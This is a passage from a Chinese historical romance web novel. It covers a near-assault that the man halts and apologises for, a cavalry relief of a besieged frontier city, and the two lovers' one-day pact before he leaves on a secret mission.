从前某个一闪而过的妄念,在此刻陡然变得明晰而激烈,随着血液呼啸奔涌逼迫而出,教他几乎再难自抑,指节兴奋得微微发颤。 想同她留个印记。 独属于他们两个人的印记。 一只手探入她的衣摆,掌心那层微硬的薄茧与滑腻柔软的肌肤相贴,熟悉而又久违的触感传来,两人俱是狠狠一颤。 折柔猛地打了个激灵,半边身子霎时软了下来,再使不上什么力气。 月隐星沉,屋内没有一丝光亮,黑暗放大了一切的感官,呼吸间尽是他灼热的气息,她听见自己的心跳一声急过一声,几乎要撞出胸腔。 掌心向上游移,粗粝的虎口托起浑圆,陆谌用指腹缓缓碾过她细嫩的肌肤,感受着她的心脏在他掌下急促跳动,透过纤薄的皮肉,一下下撞击着他的指尖。 就在此处,同她烧个情疤。 从此骨血相融,你中有我,我中有你。 教她今生今世、生生世世都不能忘了他,再也不能离开他半分。 此念一出便如野火燎原,直烧得他心头干渴发紧,喉结剧烈地滚动着,背脊上沁出一片细密的热汗。 粗涩的指腹还在心口处游走,折柔被他激得泛起一阵阵战栗,呼吸渐渐发促。 一种模糊而强烈的不安自心底升起,对陆谌此刻失控的恐惧,终于一点点压过了先前的怒意。 她越挣扎,只怕越会激起他的戾气。 咬紧牙关,折柔强自定下心神,慢慢抬起微颤的手,轻轻抚上他的脸颊,颤声低道:“陆秉言……你看着我。” 细腻温软的掌心突然贴覆上来,颊边瞬间漫开一片暖意。 陆谌浑身猛地一僵。 半晌,缓缓抬头,幽黑的目光落在她面上。 折柔仰脸看着他,喉头哽咽,声音隐隐发颤,眼中不受控地溢出泪珠,“陆秉言……你是喝醉了么?你清醒些……别这样吓我……” 她在哭。 陆谌终于意识到不对劲。 俨然已生出心魔,贪痴成妄,何止是想要她,更是想欺辱她,弄伤她。 不成。 这不对。 陆谌仿佛被钉在原地,和自己撕扯着,热汗涔涔滚落,浑身绷紧,一动不敢再动。 心底那头躁动的凶兽被她拴上锁链,终于缓缓收起利爪和獠牙,一点一点蜷伏下来,变得温驯。 半晌,他攥紧她单薄的肩头,艰难地直起身,离开。 喉结剧烈地滚动了几下,陆谌一把扯下自己的外袍,将她整个人严严实实地裹住。 折柔仍怔怔地没有回神,却被他隔着外袍轻轻揽入怀中,薄唇贴在她的鬓发间,一遍遍轻蹭,声音涩哑难当。 “对不住……妱妱,是我的错。” “别怕……别怕……” 他一遍遍地重复着安抚,不知过了多久,折柔紧绷的心神终于骤然一松。 无数难言的委屈与怨愤混杂着丝丝后怕一瞬涌上心头,直逼得她眼眶阵阵酸热,一时间再也压抑不住,细弱手指紧紧攥住衣襟,泪水滚滚而落,整个人哭得颤抖不止。 陆谌僵立在原地,一时竟有些手足无措,只能让她倚靠在自己怀里,掌心缓缓抚着她不住发颤的脊骨。 不知过了多久,折柔终于将满腔情绪宣泄一空,浑身虚软得几近无力,只断续地哽咽,“陆秉言……我恨死你了……你总是……总是如此逼我……” 陆谌喉结滚了滚,沉默地收紧手臂,将她轻搂在怀里,一直哄到她哭声渐弱,筋疲力竭地昏睡过去。 陆谌等了半晌,见她确已睡熟,这才将人轻轻打横抱起来,转身送回到榻上。 小心地褪去鞋子和罗袜,回头正想帮她脱了衣衫,又怕她明日醒来要多想,蹙眉犹豫片刻,最后只扯了被子给她盖好。 转身去面巾架上挑出一方干净帕子,在温水中浸透拧干,替她把脸上交错泪痕仔细擦拭干净,最后出门端回一个新燃的炭盆,放置在榻前不远处。 待一切收拾停当,陆谌在榻边默然静坐下来,凝望向她沉睡的侧颜。 屋内一片寂静,耳畔传来她清浅绵长的呼吸声,他伸出手,指尖轻轻抚过她微红的眼皮,流连半晌,心头涩然得说不清是什么滋味。 他自知性情偏执超乎常人,自幼时便是如此,但凡心中所系,无论是人还是物,势必要取之于握,不死不休。 正如方才对她的汹汹渴念,不过是暂时被他强行束缚住,却绝无可能真正消减半分。 可如此不成。 他会伤害她。 他要如何做? 既不甘就此放手,又不敢再度紧握。 陆谌一直静坐到寒月西沉,天色熹微,膝头已隐隐发僵,眼见时辰不早,正欲起身离开,忽听廊下传来一阵急促的脚步声。 陆谌眉心一蹙,将将伸手捂住折柔的耳朵,就听屋门被人从外急急叩响。 “郎君!郎君在否?” 南衡压低的声音自门外传来,语气里难掩紧绷的焦急。 陆谌动作一顿,垂眸又看了榻上安睡的人一眼,方才起身走出屋内,反手将屋门合拢严实,看向阶下神色惶急的南衡。 “出了何事?” 南衡抬头看向他,容色一片惨淡,声音压抑:“小郡王正急着寻您,说是泾原军突然传来急报,胥国公不知何时染病不起,监军内侍孙宪贪功冒进,误中胡獠奸计,大军被诱入早已坚壁清野的抚宁空城,遭敌军重重围困。” 顿了顿,南衡喉头滚动,艰涩地继续开口:“如今四万大军深陷孤城,粮草断绝,城外的七万役夫……更是死伤惨重、难以计数。” 第88章 送别 冬日里天光来得迟,五更过半,灵州城外的旷野上依旧黑浓如墨,朔风呼号,营栅中一片肃杀。 中军大帐内烛火通明,气氛异样沉凝。 一众副将肃立在侧,脸色一个比一个难看,几个时辰前还沉浸在庆功宴的欢腾里,转眼竟接到如火军情,一时间都有些难以回神。 谢云舟下定决断,抬头看向陆谌,“如今算上厢军,灵州还有将近三万人马,陆秉言,我给你留下两万守城。剩下一万,吴将军率四千轻骑去疏散役夫,恢复粮道,另外六千,随我驰援抚宁。” 六千? 周霄闻言大惊,瞪眼急道:“胡獠围城的兵马不下五万,其中还有三千是铁鹞子前锋,公子只带六千人哪里够?” 大将吴荣也从旁应声:“郡王,不如从守城的人里再拨出四千……” 陆谌沉默片刻,出言拒绝:“灵州城刚被攻克不久,这等要冲重地,兵家必争,难保胡人不会声东击西,借着围困泾原军反扑灵州,两万守军不能再少。” 见他神色淡淡,冷言推拒,周霄顿时生出几分怒意,刚要张口反驳,却听谢云舟断然道:“六千精骑,够用了。” “就算先前折损了些人马,但泾原军的精锐主力还剩三万有余,守城足够。哪怕城里断了粮,但有战马充饥,至少还能让他们再撑个十天半月。 獠子更擅野战,七日内攻城不下士气必损,只要我趁此战机,亲率六千精骑从侧翼撕开口子,直接杀入獠子的阵列腹地,与守军里外合击,并非没有胜算。” 他这一计虽险,却也不无道理,众人愣了愣,对视几眼,各自陷入思量。 陆谌却忽然开口,“倘若不能里应外合呢?” 谢云舟蓦地一怔。 陆谌伸指在舆图上叩了叩,抬头扫视众人,寒声道:“莫要忘了,如今抚宁城中辖制大军的,并非胥国公,而是监军孙宪。” 话音落下,帐内的一众郎将互相望了望,皆从彼此眼中看到迟疑和忧虑,一时间俱都沉默下来。 阉人不通军事,贪生畏死,只怕教胡獠吓破了胆,届时龟缩在城内不敢出战,反倒陷援军于死地。 烛火倏地一跳,“噼啪”一声,爆出一个刺目的灯花。 一旁的虬髯郎将站出来,沉声劝道:“依末将愚见,不如去信急令秦凤、环庆、清远三路调兵支援。六千对五万,实在太过冒险,还请郡王三思!” 众人闻言,纷纷应和。 谢云舟咬了咬牙,“从发信到调兵再到赶至抚宁城下,最快也要二十日,来不及。只有灵州这一路距离最近,若是迟迟不见援兵,军心一散,泾原军只怕要全军覆没。 一旦胡獠由此气势高涨,趁势南下,一鼓作气直扑我大周边境,届时又该当如何?这三年来,为了收复河湟故土,战死了多少同袍弟兄,倘若教獠子反扑回来,他们岂不是都白死了?” “况且就算大军在城里还能再撑一撑,那运粮的七万役夫呢?胡獠围城,首要一条便是劫掠粮道,那些役夫手无寸铁,一旦落在胡獠的铁骑之下,只能任人宰割,晚一日去救,就要多死不知多少人!” 众人又如何不知此言在理,可实在是兵力有所不逮,正踌躇间,周霄突然出列跪地,咬牙道:“那让我去!末将请战领兵,誓死不辱军命!” 帐中顿时一静,随即其余副将也纷纷跪下请战。 “末将愿往!” “末将也愿!” 谢云舟却摇了摇头,“不成,此战非我不可。” 环视一圈帐内众人,他扬起唇角,忽而轻笑了下,“论起率精骑闪击突袭,在座诸位有谁比得过我?更何况,若是我去驰援,孙宪多少还能有几分忌惮,换做旁人,只怕是根本叩不开抚宁城的大门。” 陆谌一直垂眸凝望着舆图,沉默良久,终于抬起头看向谢云舟,慢慢开口:“要从数万大军中撕开口子已是搏命之举,一旦未能及时叩开抚宁城的大门,你们这六千人便会腹背受敌,深陷五万敌军的重围之中,退路断绝,生机渺茫。此去是九死一生,你可明白?” 谢云舟闻言斜了他一眼,嗤道:“陆秉言,你当我傻?” 陆谌看着他,一时没有作声。 “可那是几万条人命,甚至关系到北伐成败,总要有人去救。”谢云舟扯唇笑笑,嗓音发涩,“更何况……抚宁城里,还有我爹呢。” 虽非他生身之父,却更胜生身之父百倍。 他自幼长在军中,是胥国公一手将他带大,二十余年来视他如亲子,教他武艺护他周全,就算不为家国大义,只为这份养恩私情,他也要拼死救爹爹出来。 帐内的诸将也都沉默下来。 “既如此,”眼见再无异议,谢云舟深吸一口气,抬眸扫过众人,眼底如淬寒星,一字一句掷地有声:“有劳诸位,点兵,备战。” 众将神色一凛,齐齐向上抱拳行礼,各自领命退去。 大帐里骤然归于沉寂,只剩陆谌和谢云舟二人。 冷风随掀起的毡帘卷入帐内,案头的烛火明灭一瞬,在牛皮帐壁上投出两道摇曳的颀长身影,仿佛两柄出鞘利剑交错于暗处。 静默片刻,陆谌抬眼看过去,“当真不惧?” 谢云舟扬唇轻哂,“嘿,我说陆秉言,你是第一天认识我?有何可惧。” 停顿片刻,他眸光忽而一沉,又寒声警告道:“不过小爷先将丑话说在前头,我虽要带兵暂离灵州城,但你休想打她的主意,你若敢再对她用强,小爷我做鬼都不会放过你。” 四目相对刹那,陆谌唇角牵起一丝冷嘲,并未多作理会,径直掀帘走出大帐,回往自己的住处。 营栅中已经开始传令点兵,无数火把在朔风下嘶嘶作响,马蹄声、呼喝声、甲胄声、脚步声杂乱交错,整座军营都被惊动起来。 大帐里冷寂无声,穹际一弯寒月将沉未沉。 陆谌独坐帐内,半张脸沐浴月色清辉,半张脸匿入暗影,垂眸凝望着案上摊开的舆图,久久无言。 他心里比任何人都清楚,谢云舟这一去,岂止是九死一生,简直是十死无生。 六千精骑纵然悍勇,可冲破党项大军防线便要折损三成,剩下的人马,在重重阵列之中,至多能撑一日。 战场上形势瞬息万变,一旦孙宪的接应支援稍有迟疑,错失了战机,这六千人战死只在顷刻。 但此战亦如谢云舟所言,无论如何,不能不救。 不仅仅关乎数万将士的性命,更事关北伐成败。两路并进,唇亡齿寒,泾原军一旦出事,灵州战果也绝难保下,三年苦战,付诸东流。 如此,拼上这条命去搏一个暂解危局的机会,值得么? 他们两个,虽是可堪过命的同袍兄弟,却更是相争的情敌,有谢云舟在旁一日,她便一日不会回心转意。 可倘若谢鸣岐当真战死在抚宁城下,她呢,她又会如何? 陆谌的指节微微颤抖。 想起那日在伤兵营里,她鲜活明媚的笑靥。 想起昨夜他骤然失控,她惊惧含泪的双眸。 自重逢以来,她的诸般模样不断在脑海中交织浮现,含笑的,戒备的,轻快的,疏离的…… 妱妱。 妱妱。 良久,陆谌喉头哽动,痛苦地闭上眼睛。 折柔这一觉睡得昏昏沉沉,也不知到了什么时辰,被屋外隐隐约约的嘈杂声响唤醒,朦胧着睁开双眼。 天色尚早,屋内光线晦暗不明,她只模模糊糊地看见榻边坐着一个人影。 折柔心头猛地一跳,残存的那点睡意瞬间全飞。 谢云舟察觉到不对,赶忙出声安抚:“九娘,别怕,是我。” 听见是他的声音,折柔心神一松,紧绷的肩背缓缓放松下来。 谢云舟起身想去给她倒水,腕间却忽地一紧。 “……别走。” 谢云舟一愣,心里霎时软得不行,忍不住低头去寻她的眼睛,“九娘,怎的了?” 心跳慢慢平复下来,折柔抿了抿唇,轻轻摇头,没有作声。 昨夜不知陆谌又发的什么疯,虽说是半路清醒过来了,可惊吓仍有余悸,如今看到谢云舟在这里,她忽然觉得说不出的安心。 半晌,折柔定了定神,松开攥着他护腕的手指,起身下了榻,一边洗脸梳发,一边轻声问道:“你怎么会在这?” 谢云舟站在一旁,一眨不眨地看着她,将抚宁的战事简单同她说了,顿了顿,又交代道:“我给周霄留了足够用的人手,你若想走,便让他暗中送你离开,陆秉言拦不住。” 折柔动作一顿,怔怔地看向他。 他虽说的轻描淡写,但她听得出战事凶险,此去是要搏命的。 “鸣岐……” 她话音未落,谢云舟忽然伸出手,将她一把捞进怀里,狠狠抱住。 干净清冽的皂角香气猛地钻进鼻间,折柔一时没有回过神,整个人呆呆地教他抱在怀里,脸颊被他身上的甲胄硌得微微生疼。 喉结滚了滚,谢云舟哑声道:“九娘,等我回来。” 折柔忽然意识到此来许是诀别,消息来得实是猝不及防,她缓慢地眨了眨眼,心底一瞬涌起无数难言的酸涩,一时间有许多话想说,却又什么都说不出。 不多时,周霄的声音在门外响起来,“公子,兵马粮草俱已点齐,是时辰出发了。” 谢云舟猛地睁开眼,一把松开了她,抄起榻边的兜鍪,转身朝外走去。 眼见他走出屋门,利落地翻身上马,折柔终于反应过来,慌忙地追到门外,脱口唤了一声:“鸣岐!” 四下白雪皑皑,青年勒马回望。 折柔仰头望着马背上的人,直到双眸被雪光刺得隐隐泛酸发胀,方才颤声道:“保重。” 谢云舟扬唇一笑,“知道了。” 言罢,咬了咬牙,不再回头,挥鞭策马而去。 身后,数千铁骑紧随而上,地面嗡嗡震颤,无数面墨色旌旗在朔风中猎猎作响,马蹄声碎,溅起漫天飞雪。 折柔仍旧立在原地,怔怔望着大军远去,不知站了多久,陆谌的声音忽然在身后不远处凉凉响起。 “怎么,舍不得?” 第89章 一日 折柔抿了抿唇,实在是半分都不想理会,转身便往回走。 将要错身而过的瞬间,陆谌突然伸出手,拢握住她的胳膊,将人一把拉住。 她手腕生得细瘦,哪怕隔着一层夹棉的冬衣,陆谌一掌也能轻易包覆,只他手上的力道并不算重,她稍一用力便能挣脱。 也不知他是在雪地里站了多久,掌心一片冰凉,寒意透过衣衫丝丝渗来,冻得她轻颤了一下。 折柔不由蹙眉,低声斥问:“做什么?” 陆谌唇角牵起一丝极淡的弧度,幽邃的双眸直直地望着她,“打算哪日,让周霄送你走?” 心头骤然一紧,折柔蓦然抬头,警惕地看向他,“你这是什么意思?” 陆谌轻轻一哂,“谢鸣岐临走时留了人,想要护着你暗中离开灵州,你当我会不知晓?” 折柔无意识地攥紧手指,生怕他又要迁怒周霄,只能矢口否认:“我没打算要走,周霄也不过是奉命行事,你不要为难他。” 四目相对间,陆谌自嘲地牵了牵唇角,“在你眼中,我便只会如此是么?” 折柔心里恼恨着他昨夜发的疯,闻言很想答是,可听他话音里尽是萧索之意,也不知怎的,到底还是抿紧了唇,低头别过脸去。 陆谌凝望着她轻颤的睫毛,半晌,忽然道:“妱妱,你我立个约,如何?” 喉结上下滚了滚,他一字一句,哑声开口:“留在我身边一日,做回从前的妱妱,如从前一般待我。如此,只要他谢鸣岐有命回来,我今生绝不再纠缠于你。” 折柔一怔,蓦地转头看过去。 陆谌离得很近,几乎与她呼吸相抵,两个人呼出的白雾在寒风中散开,又迅速地缠裹成一团。 突然听他做出这般承诺,她若全无动摇那是假话,可难免存有疑虑,心头发紧,声音里也带了一丝颤抖,“你怎会……” “先前强逼于你,是我有错,我不是不曾后悔……”陆谌声音很低,顿了顿,继续道:“且,鸣岐是我平生所见之中,难得心性至纯至澈的一个,我亦敬他。” 折柔心跳渐渐变得急促,砰砰震颤着,一时竟有些不受控制。 “可你明知……明知……” 过去的已经过去,隔阂与芥蒂难以消弭,她也做不回从前的妱妱。 陆谌定定地看着她,漆黑的双眸深如幽井,仿佛要将人吸进去。 “妱妱,我只要这一日。” “你我做了这么多年的夫妻,我允诺你的事,何曾有过不作数?” 折柔张了张唇,隐约想要辩驳些什么,可话在舌尖转了半晌,又什么都说不出来。 过去陆谌对她虽是有过欺瞒,有过诱哄,但只要是他肯出言应允的,一向是有诺必践。 唯有一次不曾作数。 那年他随军出征受了重伤,在家中休养月余,将能下地如常行走,正遇见她婶娘上门闹事,拿着一本来历不明的簿册,口口声声说是她阿娘留下的手札,以此相挟,撒泼打滚地逼她拿钱替堂兄去还赌债。 陆谌答允她不会惹事,却还是在夜里悄悄出去,拦在赌坊后门,亲手打断她堂兄的一条腿,算是替她出了口恶气。 只是他这一折腾,本就未曾痊愈的伤口再度崩裂,又怕教她闻出来端倪,便硬生生在数九寒冬里洗了个冷水澡,彻底冲净了身上的血腥气才敢进门。 折柔垂下眼,心头忽觉一片涩然,连带着呼吸都染了凉意。 许久,她终于轻轻地点了点头,鼻间隐隐泛酸,“……好。” 陆谌眼中浮起一丝笑意,将她送回屋内后,转身便折去了中军大帐。 南衡一直候在帐外,见他回来,忙迎上前唤了一声:“郎君。” 陆谌脚下未停,径直掀帘入内,“我要的人和东西,都已准备上了?” 南衡紧跟上去,沉声应是,“已经安排下去,最迟今夜便能备齐。” 陆谌略一颔首,走到案前,将两封早已写好的密信交到他手中,交代道:“第一封急送秦凤路经略使,问他借调五千兵马,越快越好。第二封,你且先收好,待我日后吩咐。” 南衡当即领命,将两封信仔细收好,揣入怀中,转身疾步退了出去。 大帐里一瞬空荡下来,陆谌静静地立了一会儿,开始更衣洗漱。 待到一切收拾停当,处置完要紧军务,陆谌牵了匹马,来到折柔的住处寻她。 折柔虽已有所准备,可再见他过来,心里仍不免有些忐忑,谨慎着问道:“要去何处?” 陆谌倒是十分自在,伸手将她托上马背,自己随之利落地翻身而上,缰绳一扯,将她整个人圈拢在怀里,温热的呼吸落在她耳畔,“你想去哪儿?” 折柔后背紧抵着他温热坚实的胸膛,想动也动不了,片刻,她抿了抿唇,低声道:“去大佛寺,替鸣岐求个平安签。” 她先前便听闻党项亦有尚佛之风,灵州城中建有一座大佛寺,素来香火鼎盛,求签最是灵验。 知道她这是心存不安,有意同他划分界限,陆谌扯唇一哂,一时倒也不急,收拢缰绳轻夹马腹,带着她往佛寺的方向而去。 大佛寺位处城北,殿宇巍峨,斗拱深檐,殿后的佛塔静静矗立于雪中,古朴肃穆,尚未走近,已听得塔檐上的金铎随风相撞,清响啷啷入耳。 陆谌将马拴在道旁的树下,转回身极其自然地去牵她的手。 折柔下意识想挣,可最后却老老实实地没有动,任由他将自己的手拢进掌心。 似是察觉到她的退让,陆谌唇角微勾,指节收拢,将她握得更紧。 入得寺门,庭院中立着一棵需两人合抱的菩提古树,树冠覆雪,枝桠虬结繁茂,其间挂满了许愿的红绳木牌,风过林梢,哗啦作响。 殿前香火缭绕,这个时辰,已有不少进香的人流往来。 折柔随其他求签的香客一道,取了线香,绕着诵经的佛殿转了一圈,虔诚地拜过三拜。 待求得平安签,走过廊柱,抬头就见陆谌正站在那棵菩提树下等着她。 相较于在军中的冷硬,此刻他卸去甲胄护腕,穿一身墨青暗纹圆领袍,披着大氅,乍一瞧去,倒当真像个寻常的清贵公子,只是两鬓隐约透出几缕霜色,哪里像二十余岁年华正盛该有的模样。 忽而想起鸣岐说他这几年过得很不好,折柔站在原地,一时说不清心头是何滋味,几多酸涩,又几多恨恼。 怨他从前为报父仇不择手段,恨他罔顾她的意愿屡屡强逼折辱,怒他发起疯来视人命如草芥,更恼他强势蛮横,将他们夫妻情意摧折得面目全非。 可偏偏,他坏又坏不彻底,以至于她心底仍缠绕着年少时难以割舍的温情,间或混杂几许险些累他船上丧命的愧疚,还有一丝见他憔悴萧索的不忍。 兜转纠缠这许多年,爱极是他,恨极亦是他,尽管她一心想要远离,想要与旁人为伴,可到底难以将他当做陌生人视之。 犹豫半晌,临要走出寺门,折柔终于蹙眉问出了口:“你这头发……是怎么回事?” 陆谌微微一顿,扯唇轻哂,“没什么,不过是这几年行军在外,北地苦寒,操劳过甚。”说着,不着痕迹地调开了话头,“灵州盛产滩羊,听说这种羊的肉质嫩而不膻,我带你去尝尝。” 折柔又如何听不出他话中的回避,但他既不愿多提,她便也不再追问。 从大佛寺出去,陆谌一手扯着马缰,一手紧紧地牵着她,两个人沿着长街慢慢往城南的方向走。 战事虽才过去不久,灵州城中的行市却已然恢复如常,路边有不少小贩沿街吆喝,空气中飘来阵阵饭食的香气。 不及走出多远,半路遇上一个卖杂物的阿婆,折柔起先并未留意,还欲继续往前,却被陆谌突然拽住,“过来。” 折柔不解其意,“嗯?” 陆谌显见是兴致颇好,长指在阿婆的货担里挑拣片刻,选出一条绯色丝绦,付好银钱,转回身便去解她的发带。 折柔不防他忽然有此举动,低低惊呼一声,急忙抬手护住发髻,“做什么?” 陆谌睨她一眼,轻哂,“从前不是日日都换新的?这条都用了三日,早该换了。” 折柔不由一怔。 她少时寄居在叔婶家中,买不起束发的丝绦,只能用粗布条将头发随意拢扎起来,后来同他在一处的时候,她没有旁的癖好,唯独喜欢搜罗各色各样的丝绦,日日换着花样去系,一旬之内绝无重复。 这段时日一直都在军营里,倒是忙得教她忘了这一茬。 陆谌动作利落,趁着她出神的间隙,已将旧的丝绦收进袖囊,转而把新买那条仔细系了上去,缠绕收紧。 又在街上流连许久,天色渐晚,寒星浮起,折柔紧绷了一日的心神慢慢松散下来,和陆谌去往城中有名的波月楼用暮食。 灵州的滩羊肉果然品质绝佳,佐着上好的羔羊酒,入口醇香回甘,滋味极妙。 她不觉间便喝得多了些,将出酒楼大门,人却已有些醉了,由着陆谌将她托上马背,返程回营。 大氅里一片暖热,将她裹得严严实实。 羔羊酒后劲绵长,折柔吃得多了些,此刻酒意阵阵上涌,很快便在马背轻柔的颠簸中泛起了困意,无意识地挪了挪身子,寻到个勉强还算舒服的姿势,眼皮渐沉,迷糊着睡了过去。 驱马走出一段,陆谌忽觉颈间一热,伸手探去,竟是教她的口水濡湿了一小块。 愣怔一瞬,陆谌忍不住低笑出声,微微偏过头,带着几分惩罚意味,在她细嫩的脸颊上轻咬了一口。 一路缓辔慢行,待回到城外大营,已近深夜。 陆谌径直将她抱回住处,轻轻放到榻上,把人从大氅里剥出来,脱去鞋袜,盖好被子。 折柔酒意酣沉,睡得愈发香甜,丝毫未被惊动。 待一切安顿妥当,陆谌在榻边无声坐下,目光静静落在她恬淡的睡容上。 四下万籁俱寂,清冷的月影在他脸上缓缓流转,仿佛只是一呼一吸间,穹际已渐渐泛起鱼肚白,朦胧的天光一寸一寸移进窗棂,一日之约期限将尽。 折柔在迷迷糊糊中被他唤醒。 “妱妱。” 朦胧间听见陆谌的声音,她的意识仍陷在一片困倦的混沌中,又挣扎了片刻,才勉强睁开惺忪的睡眼。 “我有军务急需处置,马上便要动身。” 陆谌抬手摸了摸她的脸,定定地凝视着她,低声道:“妱妱,再看我一眼。” 说不出来由,折柔心头蓦地一紧,睡意一瞬消散,怔怔地拥被坐起身,抬头望向他,“陆秉言……” 四目对视了半晌,似是终于心满意足,陆谌幽邃的黑眸中漾起笑意,低头吻了吻她的眉心,随即起身朝门外走去。 虽是早前便定好的一日之约,可他此刻的模样却莫名不似往常,一切都不大真切,仿佛犹在梦中。 眉心还残留着他唇间的温热。 折柔心头隐隐闪过一丝异样,却没有捕捉分明,只是下意识地唤住了他,“陆秉言!” 日光透过窗棂漫进来,熹微朦胧,陆谌站定回头,和她静静地对望了良久。 好半晌,他似是想起些什么,勾唇笑笑道:“前日平川送来家信,说是小狸生了一窝狗崽儿,你若想要,等战事平息,回了上京,我教人给你送去。” 折柔张了张唇,许久,却不知要说些什么,仿佛有很多话涌上心头,可最后也只是轻轻点了下头,“好。” 陆谌深深地望了她一眼,唇角笑意未散,转身推门而出。 第90章 破局 天际将将泛出一线浅青,抚宁城下骤然响起刺耳的号角声,战鼓如雷震响,党项的铁骑犹如黑云压境,再度朝城头猛扑而来。 箭矢密如飞蝗,喊杀声震天动地,刀剑相击之声不绝于耳。 胥国公麾下的副将贺忠带人守在城头,早已杀得双目赤红,筋骨俱疲,记不清已经杀退了胡獠的几次强攻。 党项人狡诈非常,先是搬空抚宁城中的粮草,又阻绝了河道,一直围到他们粮尽水绝,终于前日发起总攻。 数万精锐倾巢而出,攻势凶猛如潮,一波未平一波又至,众将士空腹血战至今,已然近乎力竭。 一刀劈翻刚攀上城垛的胡兵,贺忠余光看见军医朝自己匆匆奔来,心头登时一沉,吼道:“怎的了?大帅出事了?” 军医抹着满头的大汗,急喘不止:“军中备的常山、青蒿全都用尽了!谢帅仍旧反复高烧,再拖几日怕是、怕是就要……” 话音未落,贺忠猛地从胡兵的尸身里抽出长刀,一脚将尸体踹下城头,怒声大骂,“遭天杀的阉狗!” 数日前,大军刚夺下磨奇隘不久,胥国公突发寒热疟病,继而牵动旧伤,连日高热不退,意识时昏时醒。 原本国公爷已于神智尚清之际,着令大军持重据险,暂作休整,切勿深追,却不想那阉贼趁此当口,强逼诸将出战邀功,偏又轻敌冒进,中了獠子的佯败之计,被诱入重围。 他曾谏言趁敌军阵型未稳出击突围,竟又遭阉贼否决,以致错失最后良机,四万大军被生生围困于此! “将军,这该如何是好?能否、能否再传信,让援军带些药来?” 头顶流矢嗖嗖不绝,军医正说着话,一支冷箭倏地破空而来,贺忠猛地将人拽到身后,箭镞“铮”地钉入军医方才所站之地,距其脚边不足半寸。 贺忠咬牙打定主意,“我去点人手,无论如何也要杀出一条口子,速速送大帅突围!” “只怕、只怕监军不开城门啊……” 贺忠虎目圆睁,正欲开口,远处忽然传来一阵闷雷般的声响,初时隐约模糊,随即又如潮水般急速地奔涌迫近。 不过瞬息之间,那道声浪越来越近,甚至连城楼都随之微微震颤起来。 贺忠猛地转身,三两步冲到垛口,死死攥着墙头青砖,极目远眺。 只见地平线的尽处,赫然出现一队墨色铁骑,周遭旷野萧肃,无数面旌旗在寒风中猎猎狂舞,旗面上大大的“谢”字醒然入目。 眨眼之间,这支人马已撕破天光,挟着风雷般的气势,如同一柄利刃直插党项军阵。 当先之人一身细鳞玄铠,背负长弓,手握银枪,所过之处势如破竹,金铁交鸣间,枪头寒芒点点如星炸开,染红一地尘雪。 围城的敌军仓促间不及防备,侧翼军阵很快被生生撕开一道巨大豁口,率先回过神的党项骑兵匆忙涌去拦截,却无一能当其锐势,纷纷被挑落马下。 贺忠一怔,随即狂喜得浑身微微发颤。 是小郡王! 援军到了! 城头的兵卒也发觉了援军到来,一时间无不振奋鼓舞,欢声雷动,士气大振。 贺忠高举长刀,嘶声吼道:“援军已至!诸将士,随我整军接应——”话音未落,便已带人往城下冲去。 却不料,他还未奔下城楼,便被一列铠甲鲜明的亲卫横刀阻拦回来。 贺忠一愣,左右看了看,顿时勃然大怒:“这是作甚?!” 孙宪身披全副甲胄,正站在城楼隘口,身边亲卫环列,见状亦扬声怒斥:“胡獠善野战,我军当死守城头,切不可开门!” “援军已到!没看獠子的阵型乱了么?眼下正应里外夹击,将其一举杀退!” “我军困守多日,疲敝已极,岂可贸然出城?泾原军倘若覆没,谁人能担待得起?”孙宪身边的幕僚站出来,凉凉诘问:“贺将军,你能么?” 城外杀声震天,贺忠心急如焚,闻言猛地上前一步,一把揪起那幕僚的衣领,将他拖到垛口,反手倏地指向城下,“睁大你的狗眼看清楚,此刻正和獠子厮杀的人是谁?!” “那他娘的是小王爷!” “官家待他如何?倘若接应延误,小郡王一旦有失,尔等谁又能担待?” 此言一出,孙宪脸上果然露出几分犹疑动摇。 他虽百般不愿轻易涉险,但久在禁中当差,官家如何看重城下那位小王爷,就算旁人不知,他也不会不知。 若是,若是教官家知晓,小郡王折在他手上…… 幕僚见状,急忙出声阻挠:“相公!小郡王固然命贵,难道城中几万将士的命就不打紧了?泾原军若是覆灭,北伐战果不保,两厢孰轻孰重,官家必能明白相公的忠心!” 孙宪显然被他劝动,蹙眉道:“小郡王所率不过数千人马,即便出城接应,又如何能与党项大军相抗?不如,不如让小王爷且先突围撤出去,咱们咬牙撑一撑,撑到秦凤和环庆的大军赶到……” 话未说完已被贺忠怒吼打断,“放你娘的屁!数千援军已陷敌阵,撤出去?你以为那是你家后院,说来便来,想走便走?!”说着,提刀便要强闯。 指挥战事的将帅间生出龃龉争执,军心难免动摇,攻城的党项人敏锐地发觉异样,攻势骤然加紧,顷刻间又有十余人攀上墙头。 孙宪见状脸色大变,自知不能再有拖延,急需铁腕弹压,颤声尖叫道:“贺忠!你这是要造反不成?来人,给我拿下!!” 城头顿时一阵骚乱。 城下,谢云舟的攻势虽凌厉,但党项军毕竟人多势众,精锐无比,城内接应这一迟疑,党项人反应过来,立即开始重整阵型。 指挥狼旗挥动,大军阵列陡然变换,原本被冲散的侧翼迅速收拢,宛如巨兽张开血口,意图将这支突入的精骑彻底困死在阵中。 谢云舟一马当先,亲率精锐左冲右突,长枪猛然疾挑,一名党项先锋应声坠马,滚热鲜血瞬间喷溅了他满脸,当下无暇擦拭,仰头看向城垛上的动静。 孙宪怯战,不会立时开门接应,他心中早有准备,此刻虽深陷重围却并不急躁,当即传令变换阵型,数千精骑再度杀向敌阵。 ** 三日前,数百里外,党项腹地啰兀城。 夜深人寂,漫天星子黯淡,朔风呜咽着吹过城头。夜间值守的党项兵卒怀抱长矛,半缩在垛口后,身上冻得麻木发僵。 小卒缩了缩手脚,正昏昏欲睡,突然,有什么东西如雨水般从天而降,劈头盖脸地淋了下来,又顺着脖颈流进衣领,黏腻冰凉。 小卒不耐地蹙起眉,下意识抹了把颈上的液体,凑到鼻尖嗅了嗅,随即惶然惊叫:“猛火油!” 其余值守的党项兵卒也察觉了异样,闻声纷纷惊动抬头四望,只听“咻咻”破风之声骤起,无数火箭撕裂夜空,如流星般疾射而下,一团团火光瞬间映亮守卒眼底。 还不及回神反应,城头的猛火油遇火即燃,冲天烈焰轰然暴起! 黑夜被照得亮如白昼,火舌疯狂舔舐着垛口,热浪裹挟着黑烟扑面而来,身上沾了火油的兵卒一瞬烧成火人,一声声凄厉地嘶吼着翻滚奔逃。 “敌袭!敌袭!” 不知是谁惊叫了一声,如同冷水滴入滚油,一瞬在城头炸开。 